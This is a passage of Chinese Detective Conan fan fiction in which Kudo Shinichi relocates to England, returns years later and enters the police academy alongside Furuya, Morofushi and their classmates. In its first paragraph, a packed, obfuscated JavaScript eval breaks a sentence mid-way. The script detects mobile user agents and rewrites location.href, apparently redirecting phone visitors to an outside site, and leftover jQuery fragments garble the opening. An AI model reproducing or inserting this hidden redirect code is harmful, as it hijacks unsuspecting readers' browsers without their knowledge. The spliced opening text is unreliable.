“好啦,不打扰你休息了,小弟弟。”佐藤正义撑着拐杖起身,笑意里带着长辈特有的温和,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137922|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个时间,我太太和美和子也该到了。等你再恢复一些,我带美和子过来——那丫头只比你小一岁,认识一下,说不定还能多个朋友。” 工藤新一点点头,轻笑着目送他离开。 佐藤美和子警官啊…… 前世,她曾红着眼眶说:“所有我在乎的人,最后都会遭到厄运。”最后就连高木警官也…… 希望这一世佐藤正义的幸存,能成为她命运里的第一颗幸运星吧。 病房门轻轻阖上,走廊的脚步声渐远。须臾,又一波访客到来。 先进来的是工藤优作,随后是摘下墨镜的藤峰有希子。最后堂堂然进入病房的,竟然是赤井玛丽——她把铂金色头发藏进护士帽,白大褂里隐约可见战术腰带的轮廓。MI6的精英,果然连公安的层层岗哨都能当成空气。 赤井玛丽反手锁门,工藤优作随即给黑田兵卫打电话。 “抱歉,请给我们半个小时。” “恢复得还好吗?”即使赤井玛丽知道病床上的男孩实际上就是她那个神秘的年轻盟友,也依然控制不住自己对晚辈般的关怀,“秀一本来也要来的,被我拦下了。我想你们以后还有很多时间能一起聊天。” 短短几句话,就已经包含了很多信息。 第一,赤井玛丽来这里算是“先斩后奏”,但工藤优作的消息发出,黑田兵卫就已经知道此事,那么半个小时后,他必将来到这里与玛丽见面;第二,“秀一本来也要来”,就证明不单单是赤井玛丽,秀一也已经知道了他的身份和身体变大变小的情况;第三,“我想你们以后还有很多时间能一起聊天”,大概就是接下来要谈的主要话题了。 除了第一句寒暄,这位特工女士真是半句废话都没有啊。工藤新一半月眼。 有希子把刚刚佐藤正义拿来的零食往里面推了推,拿出三瓶水给大人们分了。随后就眨巴着眼睛坐在儿子旁边,似乎只是来作一个慰问孩子的安慰熊。 赤井玛丽收下水,随后直入主题:“新一君,你有想过如何解决你身上这个‘不生长’的麻烦吗?” 所谓“不生长”的麻烦,首先想到的就是APTX-4869造成的细胞退化并停止生长。这导致他的身体目前还停留在刚刚变小成为“江户川柯南”的七岁左右的阶段,并且三年多过去,几乎一厘米都没有长过。 但这个麻烦并不算什么,只要在“对外宣称十七岁”时吃下解药,一切就会迎刃而解。所以实际上的麻烦是…… 他如何在“十七岁”、吃下解药之后,向周围人解释自己一夜之间长高了五六十公分这件事? APTX-4869的存在无疑是绝密中的绝密,在这种药尚未或者说不会问世的这一世,就更不能显露一丝一毫,知情人越少越好。目前知道的,也就只有他主动告知的工藤优作、因为知道了血缘和重生事实而猜到真相的藤峰有希子,还有因为种种他无力吐槽的巧合自己得出结论的玛丽秀一母子俩。 所以解决办法已经很明确了。 “你们要送我去英国?”工藤新一问,语调却是肯定的。 工藤优作点头:“不仅如此,还要把你的户籍迁出诸伏家,与他们减少牵扯。户籍的话,可以拜托黑田警官操作一番,抹除掉一切痕迹,之后记在我名下。” 这的确是万全之策了。 减少与诸伏一家的牵扯是必然的。就算贝尔摩德不会暴露他,其他那些看到了他样貌的组织成员、甚至那六个没有被救出来的孩子,都有可能会吐露出有个叫“工藤新一”的男孩曾经试图救他们。最要命的是,这件事背后是那个“鹰眼”的朗姆,而诸伏家的两个儿子、加上经常来往的降谷零,工藤新一真的不确定他们日后会不会与组织扯上关系。 最保险的办法就是抹除掉他在诸伏家这一年多的痕迹。理由可以随便给黑田兵卫和诸伏一家编。 至于去英国,则是因为作为MI6、作为可靠盟友的赤井玛丽,可以从官方的层面为他打掩护——如果不想接下来的七八年都要颠沛流离地不停换居所,不想APTX的真相被揭穿,不想暴露出重生等等事情,这就是最好的办法了。 只是…… “……有必要记在优作哥名下吗?”工藤新一压低声音。赤井玛丽在场,他只好继续把“哥”这个称呼咬得死紧。 藤峰有希子笑得像刚拿了奥斯卡:“新一不愿意?” 她旋开瓶盖,浅浅抿了一口水,灯光恰好打在她左手中指——一枚简洁却亮得离谱的铂金戒指在那儿闪闪发光。 工藤新一眼角狠狠一跳,声音都劈了叉:“你……你们什么时候订了——” “昨天。”有希子用另一只手拨了拨戒指,语气轻快得像在念天气预报,“昨天优作一提这个方案,我就答应了。只要你点头,等你出院——” 她故意停顿,把矿泉水瓶贴到唇边,用瓶口掩住笑: “——我们就马上回长野,先见我父母,然后立刻登记。毕竟,未婚男士是不能收养未成年人的,对吧,新ちゃん?” 一个月后,工藤优作与藤峰有希子低调成婚。工藤新一正式出院,顺便担任了他年轻的父母的婚礼花童。婚礼结束后,藤峰有希子申请了英国皇家艺术学院的表演系专业,自己提前飞去英国参加考试并入选。 再一月,工藤新一与工藤优作飞往英国暂居。黑田兵卫依照与赤井玛丽、工藤优作的约定抹除了“工藤新一”在长野、在诸伏家存在过的一切官方凭据,销毁原本的身份信息,又重新建立了高保密性的身份ID,挂在了新晋工藤夫妇名下。 对诸伏家的说法则是避祸。 一切的一切,就这样有条不紊地继续着,似乎与上一次宇宙轮回没有什么不同。万籁仍循旧轨,星辰仍赴旧程,仿佛上一纪元的呼吸尚未散尽。 可就在那无人注目的刹那,多出了些许熟悉的目光,灵魂轻轻越过了湮灭的边界—— 故人未辞,如光未冷,故事早已经变了模样。 46. 之来 十二年后,东京。 残阳像一枚温吞的橘,被天边缓缓含进夜色里。最后一缕霞光掠过隅田川,把水面染成碎金,又被高楼玻璃折射成万点霓虹。电线上的麻雀扑棱棱飞走,只剩零星的啁啾在空中打了个旋,轻轻落在对面洗衣店蓝白相间的招牌上。 门帘一掀,五个年轻人鱼贯而出。蒸汽与薰衣草的柔顺剂味道追在他们身后,在夜风里打了个滚,散成柔软的雾。 “就到这里吧,外守叔。”走在最后的青年微微欠身。他的声音低而润,像春夜里的第一滴雨落在檐前,“衣服我们顺路带回去,您别送了。” “那真是麻烦你们了啊,景光君。”外守大叔笑着,“下次来我请你们去吃隔壁那家冰激凌——那个老板说她下周五就差不多能开业了!” 另一个半长发的青年接话:“那可要好好宰大叔一顿——我们下周来也请大叔去居酒屋吧!” “萩原,你真想带一身酒气回警校?”旁边的青年叼着牙签,拍了拍他的肩膀,“鬼冢教官怕是要罚我们刷厕所!” “好了好了,”外守大叔笑得合不拢嘴,“景光君、降谷君和你们几个时不时来找我聊聊天,我就很高兴了。你们警校离这可不近,趁着天还没黑,也早点回去吧!” “好——” 五个人齐声答应,声音撞在巷口的自动贩卖机上,弹出一声清脆的“叮”。他们转身,背影被霓虹拉长,像五条并行的光轨,一路延伸到城市的更深处。外守一站在门槛内,目送他们拐过街角,才慢慢拉下卷帘门。铁门落下的声音和远处列车的轰鸣重叠,像给这个周末盖上一枚温柔的邮戳。 外守洗衣店的位置离警校有些距离,但倒也不至于乘车,五个人拎着衣服,慢悠悠地散步回去。诸伏景光走在最外侧,提着装满干净衣服的帆布袋,袋口随着步伐轻轻拍他的小腿。他侧过脸,余光里松田阵平的目光第三次飘过来—— “松田,”诸伏景光挑眉,“从刚才起你就盯着我跟zero,好一会儿了,想问什么就问吧。” 松田阵平“嘶”地抽了口气,指尖蹭过左颊刚结痂的细长伤痕,痂皮边缘翘起,痒得钻心。“你们每周末都来这家洗衣店……那个外守大叔跟你们很熟吗?” 萩原研二顺势把胳膊搭上松田的肩膀,笑得像要把空气也扯出褶子:“岂止熟啊——人家看小诸伏的眼神慈祥得像亲大叔。不会真是吧?” 夜风掠过,吹乱了景光额前的碎发。他脚步没停,只是轻轻摇头:“真要追溯起来,他是我小时候伤害我父亲未遂的犯人。前些年继承了洗衣店才搬到东京来。” 话音落下的瞬间,整条街仿佛被谁按了静音键。电线上的麻雀扑棱一声飞走,尾灯拖出的红线在半空断裂。萩原的笑声卡在喉咙里,变成一声短促的气音;松田指尖的动作僵在伤口上,痂皮被不经意抠落,渗出一粒细小的血珠;伊达航原本咬牙签的动作蓦地用力,他愣愣地把断成两截的牙签从嘴里拿出来。 “……啊?”三个人异口同声,声调在夜色里扭曲成同一种滑稽的弧度——震惊把他们的五官拉到变形。 降谷零眯起眼,跟自家幼驯染咬耳朵:“我国中那时刚知道这事的时候,也跟他们三个一样……嗯……的表情吗?” “的确是一样扭曲且傻了的表情。”诸伏景光替他补全形容词。 “不是,”松田阵平百思不得其解,他挠挠后脑勺,眉心拧成一道倔强的沟壑,“为什么啊?犯人跟受害者家属下周末还要一起坐下来吃冰激凌?” 诸伏景光把帆布袋换到另一只手里,袖口蹭过路灯的冷白,像一截被雪擦亮的竹。“因为可恨之人必有可怜之处吧,而且我父亲确实没有受伤。”他顿了顿,目光浮在远处一盏熄了又亮的车尾灯上,“他出狱以后,几乎每周都想方设法给我们家帮忙——在长野时,他就自告奋勇替我们看家护院、清理杂草什么的,后来到了东京定居也一样,逢着节日还来家里送各种礼物。久了,债就变成了情分。” 风掠过,带起一阵细小的尘埃,也带走了他尾音里最后一丝叹息。松田“啧”了一声,像把卡在齿缝里的惊讶吐出来,什么也没说。 伊达航适时把话题往前推了一步,声音厚重:“所以,这是你想当警察的原因吗?” 诸伏景光轻笑:“算一点吧,但远不到‘原因’那么大分量。跟松田可不一样——他是为了能合法拆迁才来的。” 松田阵平挑眉,想反驳,却被萩原抢先一步。萩原研二把胳膊横过松田的肩膀,像挂一条软绵绵的围巾,笑嘻嘻地补刀:“那可不,小阵平就盼着拆东西不用赔钱还倒赚工资呢,是不是?” “啧。”松田阵平不爽,但也没把他的胳膊甩开,转而继续对诸伏景光说:“说起来,景老爷是唯一一个没交代‘入学动机’的人吧?连金发大老师都有白月光女医生——” “去你的。”降谷零从牙缝里挤出三个字,简直悔不当初——谁让松田阵平这只猫抓到了“宫野艾莲娜”这根线头,就再也松不开口。 萩原见状更来劲,拍着手起哄:“别害羞呀,小降谷。还是说——小诸伏其实像hagi陪小阵平一样,是为了陪你才来读警校的?” 降谷零抬手肘击,萩原研二笑着跳开一步,像一条滑不留手的鱼。打闹声被夜风兜头浇灭,只剩灯影里浮动的细小尘埃。 景光等他们闹够了,才慢慢开口,声音轻得像落在水面的羽毛:“白月光倒算不上,太肉麻了。”他低头看了看自己鞋尖,再抬头时,眼底映着远处警校探照灯划破夜色的冷白光柱,“我当警察的原因……大概是班长和zero的混合体吧。一半为了追上某个人的脚步,一半为了查清楚——他当年到底为什么突然消失。” 松田原本还在揉被萩原勒疼的肩膀,闻言动作一顿,眼睛亮得像突然通电的钨丝:“谁?” “算是我和hiro的一个……小哥哥吧?没有大多少,所以倒也没叫过哥哥。”降谷零把双手插进口袋,侧头笑了一下,金发散落在眉骨上,投下一弯柔软的阴影,“实际上除了为了艾莲娜老师,我做警察也有他的原因啦。” “我是没叫过他哥哥,但是zero有的吧?我记得小时候第一次见面的时候还摔了个大跟头来着。”诸伏景光回忆起十几年前在杯户公园玩闹的画面,忍不住笑道。 “还不是你那时候介绍,说那是你哥哥。” “从小就认识?”伊达航听得入神,脚步不自觉放慢,帆布鞋底碾过一粒碎石子,发出轻响。 “嗯,说起来,他应该也算是我和zero的半个幼驯染,”诸伏景光说,“不过很早的时候就去了国外。虽然没有大多少,却一直显得很成熟,好像什么都会一样,有时候甚至觉得他比高明哥还要难懂。” “说了半天,这个神秘人物是谁啊?现在应该也已经事业有成才是。”说话间,他们已经走到警校门前最后一盏路灯下,遥遥能看见警校门前的哨岗小屋。光晕像一圈温暖的涟漪,把五个人的轮廓镀成毛茸茸的金边。 诸伏景光掂了掂手里的帆布袋,布料发出细微的摩擦声。他抬头看了看逐渐清晰起来的月光,然后收回视线:“其实你们应该知道他的,他叫做……” 夜风忽地一拐,像有人轻轻扯了扯灯丝的尾巴,路灯抖了抖,光晕在地面晕开一层薄雾般的银。景光蓦地站定,看向远方,不动了。 走在前面的三个人也都停下来,旁边的降谷零疑惑地看了他一眼,然后目光也顺着幼驯染的方向看去——校门前,三三两两的学员正说笑着散去,尘土被鞋底碾起,像细碎的星屑。而在那团星屑之外,围墙投下的长影里,倚着一道清瘦的身影。那人正低着头看手机,随后像是感觉到了什么似的抬眸,眼睛里盛满了细碎的光。 “……新一?”他喃喃道。 降谷的声音低得几乎听不见,却像一粒石子,投进五人的沉默里。 “什么?”另外三人同时回头,顺着他的视线,只捕捉到一道单薄的身影。 那个墙边的身影却动了。他穿着灰色的衬衫,脸上戴了一只黑色的口罩,口罩上面,是一双宛如星海环游的明亮眼眸。他一步一步朝几人走来,一边走,一边把手机塞进裤子的口袋里。皮鞋在地上发出规律的脚步声,晚风吹过他周身,让衬衫勾勒出他劲瘦的腰,也吹起了他弯弯的眉眼。 到了近前,他用手勾住口罩的一边,轻轻扯下,露出了一个笑。路灯映在他眼角眉梢,整个人都是明朗的。 “景光?零?”他笑,“怎么都不说话?” 诸伏景光与降谷零并肩站着,肩膀只隔一拳,却谁也没有先动,像被谁掐断了引线。 “喂?喂?”工藤新一伸出手在他们跟前晃晃,“吓傻了?” 像是被人拿鱼钩勾了出来,诸伏景光和降谷零一前一后开了机,迅速上前把他围起来: “你什么时候过来的?” “怎么回国了?” 随后两人又对视一眼,重新问: “你不是在英国吗?” “回来怎么没告诉我们?” 四句话叠在一起,撞得空气嗡然一震。旁边的松田“啧”了一声,萩原吹了记口哨,伊达航干脆抱臂看戏。 而被围在中心的灰衬衫青年,只是抬手揉了揉额角,眼尾的笑意更深——工藤新一故作苦笑:“行行好两位未来的警官先生,我才刚落地一个小时,容我一个一个交代行吗?” 降谷零与诸伏景光同时抱起手臂——动作默契得仿佛排练过十年——两道视线一冷一温,织成一张无形的网,把工藤新一困在中央,示意他可以开始交代了。 新一咂了下舌,抬手比出四根手指,语速快得像在背报告:“第一个问题:半小时前到的,听说你们都出门了所以在这里等。第二个问题:回来住啊。第三个问题:我十九个小时之前确实还在伦敦,时差还没倒过来。第四个问题:……” 他微微弯腰前倾,把脸凑到两人中间,眨眨眼,“不惊喜吗?” 时隔多年,诸伏景光还是那个更直接的:“简直是惊吓。” 降谷零也仍然别别扭扭:“提前和我们说一声,我们去接你多好。” “我的错。”工藤新一立刻检讨,“下次一定。” “嗯……零,帮我介绍一下?这是你们的朋友吧。” 工藤新一微微仰起头,目光越过降谷零的肩线,像越过了一段漫长的旧时光。警校铁门投下的冷白灯束里,那三张面孔年轻得几乎能掐出水来。他的视线在他们脸上停留两秒,忽然生出一种恍惚—— 如果没有那么多阴差阳错、爆炸与离别,也许前世,就该是降谷零站在他身边,笑着拍他肩膀,把这几个人依次推到他的面前,说:“来,柯南君,认识一下,这几个都是警视厅的大猩猩——hiro除外。” “哦。”意识到把朋友们晾在一边半天,降谷零和诸伏景光都有点尴尬。降谷零连忙把工藤新一拉过来:“这个是我们鬼冢班的班长,伊达航,平时很照顾我们,是很有正义感和责任感的朋友。他们俩是萩原和松田。嗯……正朝你wink的是萩原研二,平时比较爱社交,是个飙车狂;另一个臭着脸的是松田阵平,呃,臭着脸可能是因为打架没打过我。” “喂,你说谁打不过你啊,金毛混蛋!”降谷零一句话就把松田阵平气得牙痒痒。 “好了小阵平……”萩原研二拉着他。 “zero你也真是的。”诸伏景光把幼驯染做鬼脸的手拉下去。 伊达航左右看了看,绝望地叹了口气,把原本叼着的牙签攥在手里,活像焦头烂额的幼儿园园长:“呃,抱歉,他们平时打打闹闹惯了……其实刚才气氛还挺和平的。” 他转向工藤新一,努力挤出一个“老师来了老师来了大家快坐好啊”的微笑:“幸会。我是鬼冢班的班长,伊达航。” “幸会。”工藤新一像没看到刚才的鸡飞狗跳,微微颔首,声音清朗而笃定,“你们好,我是工藤新一。” ——夜风忽然安静了两秒。 松田阵平的表情从愤怒到空白,再到难以置信,像被人按了慢放。“哪个工藤新一?”他艰难地问。 诸伏景光失笑,替他补全答案:“我刚刚不是说过了吗,你们应该知道他的——就是警视厅内部很有名的那位顾问侦探啊。” “都市传说才对吧!”伊达航的牙签“啪”一声掉在地上,滚了两圈才停,“传说居然是真的?” “怎么把新一说得像蝙蝠侠一样,还都市传说?”降谷零疑惑地眨眨眼,转头看向他心目中消息最灵通的萩原。 萩原研二耸耸肩,指尖转着个 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“这附近也有酒店,这么晚了凑合一晚也行——”降谷零环顾四周,左看右看,没看见工藤新一拿着任何一只包。他眉梢一挑:“倒是你,行李呢?” “呃……”工藤新一挠头,“因为昨天晚上遇到了案子,今天早上的飞机差一点没赶上——秀哥只来得及把我装车里运到机场,行李就……” 他摊手,做了个“咻——飞走”的手势,“最快也得明晚才到。” 降谷零“噗嗤”一声,差点破功:“所以你现在——” “连换洗内裤都没有。”工藤新一耸肩,笑得无辜又理直气壮,“我们快进去吧,别误了你们宵禁。” ——我们? 六个人一起往警校门口走。马上就要进门,萩原研二瞧了瞧工藤新一的动作。 总感觉这人好像完全没有夜闯警校的自觉啊。 果不其然,五个人依次识别身份入校后,岗亭的探照灯“啪”地打过来,白光刺得人眯眼。 值班警卫抬手拦在工藤新一面前,钢盔下的目光锐利得像两片刀片:“请留步!请出示您的学员证。” “诶?”工藤新一半张脸浸在冷光里,眨眨眼,像没听懂,“通知……还没到吗?” 他低头掏手机,指尖在锁屏上轻轻一滑,屏幕亮起的蓝光映出他微微蹙起的眉。 伊达航左右看看,一脸茫然:“什么通知?” 下一秒,工藤已经把听筒贴到耳边—— “嘟——” “嘟——” 单调的等待音在空旷的校门口回荡,仿佛把夜色也拉得悠长。岗亭里,值班警卫的指节轻敲桌面,节奏与铃声重叠;铁门外,五个人屏息而立,连呼吸都放轻了。 “嗯,是,我是工藤新一。”他声音不高,却在寂静中格外清晰,“……对,就在警校正门口。” 说这话时,他的目光掠过警卫肩章上的金属编号,又落回自己鞋尖,语气从容:“不用您亲自来接,我这边也有朋友在。对,是那位让我来的——” 他尾音里带着一点不易察觉的笑意,像夜风里悄悄绽开的白色花火。 “哦,好。” 挂断电话,他把手机收回口袋,上前半步:“警卫先生,请您查看一下警卫室的电脑,通知应该已经到了。” 警卫愣了愣,随即转身。两分钟后,他放行了。 铁栅栏“咣当”一声合拢,回声在夜色里滚了两圈才散尽。 五个人仍愣在门口,像被同一道闷雷劈中,外焦里嫩。风掠过岗亭,卷起几片树叶,在他们脚边打着旋儿,却没人抬脚去踩。 工藤新一低头理了理袖口,回头冲他们扬了扬下巴:“发什么呆?进去吧。” 那语气轻松得像只是来串门,而不是要搬进警校宿舍。 于是,三前三后,六个人的影子被路灯拉得忽长忽短,一路铺进主干道。伊达航走在最后,抬手捏了捏眉心,萩原研二和松田阵平并排,前者嘴角挂着“吃瓜”的笑,后者只剩一句含糊的嘀咕:“……顾问变同学,活见鬼。” 前方,诸伏景光与降谷零一左一右把新一夹在中间,像两尊会走路的门神。诸伏景光问出了所有人心里的疑问:“新一,你这是……进警校了?” “嗯,约莫明天下午就能和你们一起上课了。” “为什么?新一不是已经当顾问了?”降谷零站在他另一侧问。 提起这个工藤新一就头疼:“还不是秀哥、优作哥、目暮警部、毛利警官四个人,凑了一桌麻将把我卖了。” 他叹了口气,声音里带着睡眠不足的哑,“说我近战太菜,在秀哥手下走不过十招——也不想想他是什么怪物级别的,我能撑到第十招已经很给面子了。” “总之,他们本来打算找个跆拳道馆、空手道馆之类的,结果商量着商量着又都觉得武馆不合适,正好我大学也毕业了,打算回东京定居,索性就找松本管理官要了调令,把我扔警校来了——原话是‘又省时又省力还省钱,顺带还能练练射击’。” 诸伏景光捏了捏他的大臂,扑哧一笑:“不过确实,新一虽然腿部力量发达,但是上肢确实需要训练呢,感觉我和zero现在能撂倒十个你。” 工藤新一“咔哒”一声翻开左腕的表盖,指尖在玻璃面上轻敲两下,蓝光一闪而过:“要试试吗?” 降谷零用肩膀撞他,力道半真半假:“别作弊啊,顾问先生。” 伊达航一手搭一个,把松田和萩原圈进自己臂弯里,故意压低嗓音,却压不住那股子兴奋劲儿:“喂,你们觉不觉得,这个‘都市传说’工藤顾问没有传闻中那么冷淡啊。” “那块表是什么特殊构造吗?没见过啊。”松田阵平却盯着前方那截在路灯下晃动的手腕——准确来说,是两眼放光地看着工藤新一手腕上那块手表。 “可别去拆表啊小阵平,你刚镶好的假牙承受不起。”萩原研二摸着下巴,“但你们发现没有,小降谷和小诸伏在他跟前都幼稚了不少,还真的是‘指路明灯’小哥哥人设啊。” 话音未落,前方两道背影同时一僵,紧接着异口同声地回头,声音炸在夜风里:“——才不是哥哥!” 松田被震得耳膜发麻,咂舌:“啧,耳朵真好使。” 47.则喜 警校的日子,对工藤新一来说,更像是一场难得的夏令营。 阳光穿过玻璃窗,把课桌切成一格一格的棋盘。他坐在最后一排,挺直身子,眼睛却半阖着。理论课的黑板上密密麻麻写满了字,粉笔屑像雪一样落下,落在阳光里,在他眼中描摹出一个又一个真实的场景。 那些理论他早在上辈子就融会贯通——他破过的案子、拆过的诡计、救过的人,比教官讲过的还要多。那些案例中甚至有不少是他切实参与过的:十三年前的叶才三杯户银行抢劫案、“不良”连环肇事杀人魔、“七曜”连续凶杀案,还有五年前的麻生圭二跨国贩毒事件等不计其数。 动机、手法、罪证、因果关系……每一处细节都像他掌心的纹路,清晰得近乎无趣。 然而他依然珍惜这短短三个月的警校时光。这也许,是他曾经暂停过许多年的校园生活的最后一次返场。 他侧过头,窗外的操场上,有其他班的学生正喊着号子跑圈,汗水在额头上闪着光。他忽然想起上辈子降谷先生和他说过:“对我来说,那六个月的警校生活,简直就像做梦一样,美好到甚至不敢相信那曾经是真的。” ——既希望是真的,偶尔也希望那只是一个梦。 现在,终于轮到他来做这场美梦了。 工藤新一看着前方身姿挺拔的那五个人,看着降谷零在阳光下格外耀眼的金发、诸伏景光偶尔歪着头的背影、伊达航上台替老师当道具的僵硬表情、松田阵平总忍不住想举起的手、萩原研二时不时笑着看大家的嘴角…… 他想,这场美梦,他要让他们做一辈子。不只是他们,还有千千万万的人。 第三天下午,工藤新一可怜的行李终于被邮寄到了警察学校。快递员认死理,必须本人签收,警卫找不到人,只好一路寻到靶场门口。 彼时青年人正在进行射击训练。他穿着降谷零备用的作训服,肩膀、裤腿都明显大了一截。然而他举枪的动作依然标准得像是教科书一般。二十发子弹,不疾不徐地自枪口迸发,最终十七颗嵌进十环的圆心,把那里凿成一朵小小的金属花。 鬼冢八藏在一旁点点头:“工藤君还真是名不虚传啊,这个成绩就算在警校里也是数一数二的。” “哪里哪里,”工藤新一把左轮放好,走到一边,挠挠头,“我看降谷同学他们个个都比我强呢。而且,我的射击速度也很慢,都不知道被毛利警官说过多少次了——他说老太太数零钱都没有我‘字斟句酌’。” “你要那么快的射击速度也没有用——顾问总不会上前线吧。”他的射击速度比不上专业人士是事实,于是鬼冢八藏安慰道,“还有毛利君——‘老太太数零钱’?哪有那么夸张,别听他瞎说。” 他拍拍工藤新一的肩膀:“你不用和毛利君比,他那是几十年才出一个的鬼才,听说前几年居然要辞职?幸亏是没有,他那个人啊,天生就该是做刑警的料!”说完,他随手往远处一指,“也别跟那五个大猩猩比,你是顾问,斯文人,懂得保护自己就行了。” “喂!教官!说谁坏话呢?”松田阵平在靶场门口远远地喊,臭着脸、却眼里带笑,“工藤君的行李都到了,你别老是拽人家聊天!” “这臭小子。”鬼冢教官笑骂道,也瞧见了远处的警卫,“既然打完了靶,就快去休息吧。你的制服应该也快要做好了,到时候后勤给你送到宿舍去。” “嗯,好。”工藤新一点点头。 松田阵平“自觉”留下来给鬼冢八藏校对手枪准星去了,工藤新一则跟着警卫去门口签回执,他的手由于刚刚的训练微微发抖。青年叹了口气。 不断蔓延的蝴蝶效应像一把钝刀,十几年如一日地削着他的骨头。爆发力还在、准确度也在,可耐力和免疫力像漏沙的计时器,跑三公里就喘得不行,熬夜两天就头痛欲裂甚至要发烧,一场感冒能拖半个月。 他的身体像被慢慢侵蚀的堤坝,若不是工藤优作和有希子把他当易碎品一样养着,赤井秀一又逼着他每天锻炼,恐怕现在连枪都握不稳。 “嗡——嗡——” 手机发出震动声,把他从思绪中拽回。诸伏景光和降谷零过来找他,顺便一人一边,把工藤新一的两包行李拎走。 “怎么在这里站半天?我们等你吃饭找不见人,还是松田回来告诉我们你来签收快递。”诸伏景光顶了一下他的肩膀,“我听说优作先生和有希子姐姐也要回来了?” “嗯,对。”工藤新一伸手去够自己的行李带,指尖却只擦过微凉的金属拉链——诸伏景光手腕一偏,轻巧地避开了。他只好作罢,顺势把手插回兜里,“他们应该下周回。之前也已经在米花町买了房子,装修快收尾了,大概半个月就能入住。怎么样,周末一起去看看?” 降谷零闻言,眉梢轻挑,唇角却仍压着:“这周末吗?我们跟外守大叔约好了吃冰激凌——周六应该空得出来。” “是吗?”工藤新一忍不住笑,眼尾弯成好看的弧。原本的仇人成了朋友,无论如何,都是值得高兴的事。 “那,如果没有别的安排,周六就拉着你们朋友一起去米花吧,看完房子,正好博士也说想邀请咱们去家里吃饭,人多热闹。”工藤新一歪着头笑。 不远处,宿舍楼门口,三道身影被太阳的光晕剪出清晰的轮廓。萩原研二倚在墙边,笑得脸上多出了三道月牙;松田阵平单手插兜,另一只手比划着什么,似乎在念叨刚刚鬼佬拿他当免费劳动力的牢骚;伊达航抱着胳膊,肩膀因忍笑而轻轻抖动。他们似乎听见了这边的动静,齐刷刷望过来。 诸伏景光忽然抬高音量,语气里带着恶作剧般的轻快:“去阿笠先生家做客的事可不能让松田知道——毕竟那位博士最会改装小发明了。可千万不能带松田去啊!” “改装小发明?谁?”松田阵平肉眼可见地来了兴致,眼睛亮得像只偷了腥的猫,惹来几个人捧腹大笑。 周六,阿笠宅。 “——怎么样,松田君,这个颈带变声器很酷炫吧!你们年轻人一定都喜欢,萩原君觉得呢?”阿笠博士见他们来,无比惊喜,使出浑身解数,零零散散、大大小小的各色发明几乎淹没了整个客厅。 带松田和萩原过来博士家果然是个极其正确的选择啊——工藤新一坐在吧台边,吸了两口索然无味的热牛奶,然后眼馋地看着伊达航手里的冰可乐——瞧瞧这仨人,都快处成亲兄弟了。 “的确神奇,就是发出的音色还是没有那么自然啊。”萩原研二捣鼓了半天,终于调试出了想要的音色、录入颈带。他试探性地按了一下按钮,发出了有些失真的、自家姐姐的声音:“松田阵平!放下我的手机!” 松田阵平懒得理自家幼驯染,转而摆弄着博士那里备用的手表型麻醉针,弹开表盖:“这个设计蛮不错的嘛……工藤君的手表也是阿笠先生制作的吗?” “不是不是,虽然构造一样,但新一那个可比我这仿制品精巧多了。”阿笠博士抱着他的火箭发射器摆摆手,“我现在也只能大概给他那块表装填针剂、稍微修理修理外观,里面的构造可是一点都不敢改动。” 然后他们兴致勃勃地谈论起机械零件、拆装技巧,眼看话题已经朝着违法犯罪的边缘走去,门口忽然传来了门铃声。 工藤新一几乎是条件反射地起身,熟门熟路得像自己家一样。他绕过地上散落的弹簧与螺丝,步伐轻快,拉开了门。 打开门,门里门外的几人都愣住了。 女孩的声音伴着午间的阳光,像冰镇苹果汁一样清甜,惊喜道:“新一哥哥!你回来啦!” 工藤新一眨眨眼,睫毛在脸颊上投下一小片晃动的阴影,下意识答:“是呀,我回来了。”尾音还没落,他的视线越过女孩的发旋上的草莓发夹,落在她身后那位女士身上。 “英理姐,好久不见。”工藤新一侧过身,让出半扇门,“来找博士吗?” 妃英理站在逆光里,一身宝蓝色西装衬得她像一柄收鞘的剑,领口那枚金色胸针在锁骨处折出一星冷光。她松开牵着女儿的手,任小兰像小鹿般蹦到工藤新一身边,米色裙摆扬起一小片柔软的浪花,发梢沾着阳光,像撒了金粉。 “是啊,新一君,好久不见。阿笠先生在家吗?” 工藤新一回头——客厅像被龙卷风卷过的钟表匠的铺子:铜色弹簧从沙发缝里探出脑袋,螺丝钉在地板上排成扭曲的银河,半拆开的机械臂正以一种扭曲的角度卡在吊灯和茶几之间。他嘴角一抽,赶紧朝里屋喊:“博士——!”同时朝屋里那几个警校生拼命摆手,示意他们火速清出一条“正常人能走的路”。 阿笠博士顶着一头乱蓬蓬的头发小跑出来,发梢上还粘着一片银色绝缘胶带,像滑稽的羽毛。他满手机油,在工作服上蹭了蹭,结果越蹭越脏:“哎呦,英理君!小兰!对不起对不起,差点忘了你们要过来的事了!” “博士在研究新发明吗?”毛利兰踮起脚尖,从口袋里抽出一条叠得方方正正的浅粉色手帕递给他,“里面好像很热闹呢。” “啊,是啊!”阿笠博士的兴奋劲正值峰值,眼睛亮得像两盏刚充上电的钨丝灯,几乎要顺着这个话题滔滔不绝,“多亏了新一带来的朋友们,我现在简直灵感爆发——” “咳!”工藤新一猛地咳嗽两声。 阿笠博士后知后觉地挠挠头,结果把一缕机油蹭到了发梢,滑稽得像在头发上点了颗黑痣。他尴尬地笑:“真是不好意思,英理君。” 妃英理当然不计较。“本来就是我们麻烦您,阿笠先生。”她微微颔首,“那小兰就拜托您照顾一天了,我或者我老公谁先忙完就来接她。” 就在这时,五个警校生终于把客厅从“灾难现场”降级为“勉强能走”。萩原研二正用脚尖把最后一枚螺丝扫进纸箱,伊达航单手扛着半人高的机械臂像举杠铃,诸伏景光则负责通知清理成果。他走到玄关,探出半个身子,蓝色的眼睛却微微睁大:“原来是妃律师?” 工藤新一偏头看他,眉梢挑起一个问号。 妃英理的目光在诸伏景光脸上停了两秒,然后眼尾浮起一点极浅的笑纹:“你是……高明君的弟弟?” “是,诸伏景光。”他礼貌地点头,额前的碎发在风里轻轻晃动,“上次见面我还在读高中呢。我哥哥前些日子还提起您,说在您事务所工作的日子实在是承蒙照顾。” “哪里。”妃英理唇角弯出一点职业化的弧度,却带着真切的温度,“是因为高明君自己足够优秀。他在长野的工 